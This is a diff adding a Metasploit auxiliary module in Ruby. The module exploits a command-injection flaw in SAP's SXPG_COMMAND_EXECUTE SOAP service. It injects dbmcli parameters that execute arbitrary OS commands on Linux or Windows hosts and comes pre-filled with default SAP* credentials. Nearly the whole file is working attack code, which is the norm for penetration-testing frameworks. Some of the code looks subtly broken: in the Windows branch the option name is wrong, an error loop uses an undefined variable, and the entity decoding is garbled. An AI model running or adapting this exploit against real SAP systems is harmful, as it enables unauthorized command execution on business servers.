1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ ##
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
+ # http://www.onapsis.com/research-free-solutions.php.
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
+ # in producing the Metasploit modules and was happy to share his knowledge and
14
+ # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
+ # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16
+ # provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17
+ ##
18
+
19
+ require 'msf/core'
20
+
21
+ class Metasploit4 < Msf ::Auxiliary
22
+
23
+ include Msf ::Exploit ::Remote ::HttpClient
24
+ include Msf ::Auxiliary ::Report
25
+ include Msf ::Auxiliary ::Scanner
26
+
27
+ def initialize
28
+ super (
29
+ 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection' ,
30
+ 'Description' => %q{
31
+ This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
32
+ use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
33
+ } ,
34
+ 'References' =>
35
+ [
36
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] ,
37
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ]
38
+ ] ,
39
+ 'Author' =>
40
+ [
41
+ 'nmonkee'
42
+ ] ,
43
+ 'License' => MSF_LICENSE
44
+ )
45
+ register_options (
46
+ [
47
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
48
+ OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
49
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
50
+ OptEnum . new ( 'OS' , [ true , 'Target OS' , "linux" , [ 'linux' , 'windows' ] ] ) ,
51
+ OptString . new ( 'CMD' , [ true , 'Command to run' , "id" ] )
52
+ ] , self . class )
53
+ end
54
+
55
+ def run_host ( ip )
56
+ payload = create_payload ( 1 )
57
+ exec_command ( ip , payload )
58
+ payload = create_payload ( 2 )
59
+ exec_command ( ip , payload )
60
+ end
61
+
62
+ def create_payload ( num )
63
+ command = ""
64
+ os = "ANYOS"
65
+ if datastore [ 'OS' ] . downcase == "linux"
66
+ if num == 1
67
+ command = "-o /tmp/pwned.txt -n pwnie" + "\n !"
68
+ command << datastore [ 'CMD' ] . gsub ( " " , "\t " )
69
+ command << "\n "
70
+ end
71
+ command = "-ic /tmp/pwned.txt" if num == 2
72
+ elsif datastore [ 'OS' ] . downcase == "windows"
73
+ if num == 1
74
+ command = '-o c:\\\pwn.out -n pwnsap' + "\r \n !"
75
+ space = "%programfiles:~10,1%"
76
+ command << datastore [ 'COMMAND' ] . gsub ( " " , space )
77
+ end
78
+ command = '-ic c:\\\pwn.out' if num == 2
79
+ end
80
+ data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r \n "
81
+ data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r \n "
82
+ data << '<env:Body>' + "\r \n "
83
+ data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r \n "
84
+ data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r \n "
85
+ data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r \n "
86
+ data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r \n "
87
+ data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r \n "
88
+ data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r \n "
89
+ data << '</env:Body>' + "\r \n "
90
+ data << '</env:Envelope>' + "\r \n "
91
+ return data
92
+ end
93
+
94
+ def exec_command ( ip , data )
95
+ user_pass = Rex ::Text . encode_base64 ( datastore [ 'USERNAME' ] + ":" + datastore [ 'PASSWORD' ] )
96
+ print_status ( "[SAP] #{ ip } :#{ rport } - sending SOAP SXPG_COMMAND_EXECUTE request" )
97
+ begin
98
+ res = send_request_raw (
99
+ {
100
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
101
+ 'method' => 'POST' ,
102
+ 'data' => data ,
103
+ 'headers' => {
104
+ 'Content-Length' => data . size . to_s ,
105
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
106
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
107
+ 'Authorization' => 'Basic ' + user_pass ,
108
+ 'Content-Type' => 'text/xml; charset=UTF-8'
109
+ }
110
+ } , 45 )
111
+ if res
112
+ if res . code != 500 and res . code != 200
113
+ print_error ( "[SAP] #{ ip } :#{ rport } - something went wrong!" )
114
+ return
115
+ elsif res . body =~ /faultstring/
116
+ error = res . body . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
117
+ 0 . upto ( output . length -1 ) do |i |
118
+ print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
119
+ end
120
+ return
121
+ end
122
+ print_status ( "[SAP] #{ ip } :#{ rport } - got response" )
123
+ output = res . body . scan ( %r{<MESSAGE>([^<]+)</MESSAGE>} ) . flatten
124
+ result = [ ]
125
+ 0 . upto ( output . length -1 ) do |i |
126
+ if output [ i ] =~ /E[rR][rR]/ || output [ i ] =~ /---/ || output [ i ] =~ /for database \( /
127
+ #nothing
128
+ elsif output [ i ] =~ /unknown host/ || output [ i ] =~ /; \( see/ || output [ i ] =~ /returned with/
129
+ #nothing
130
+ elsif output [ i ] =~ /External program terminated with exit code/
131
+ #nothing
132
+ else
133
+ temp = output [ i ] . gsub ( ">" , ">" )
134
+ temp_ = temp . gsub ( """ , "\" " )
135
+ temp__ = temp_ . gsub ( "'" , "'" )
136
+ result << temp__ + "\n "
137
+ end
138
+ end
139
+ saptbl = Msf ::Ui ::Console ::Table . new (
140
+ Msf ::Ui ::Console ::Table ::Style ::Default ,
141
+ 'Header' => "[SAP] SXPG_COMMAND_EXEC dbmcli Command Injection" ,
142
+ 'Prefix' => "\n " ,
143
+ 'Postfix' => "\n " ,
144
+ 'Indent' => 1 ,
145
+ 'Columns' => [ "Output" ]
146
+ )
147
+ 0 . upto ( result . length /2 -1 ) do |i |
148
+ saptbl << [ result [ i ] . chomp ]
149
+ end
150
+ print ( saptbl . to_s )
151
+ return
152
+ else
153
+ print_error ( "[SAP] #{ ip } :#{ rport } - no response" )
154
+ end
155
+ rescue ::Rex ::ConnectionError
156
+ print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
157
+ return
158
+ end
159
+ end
160
+ end
0 commit comments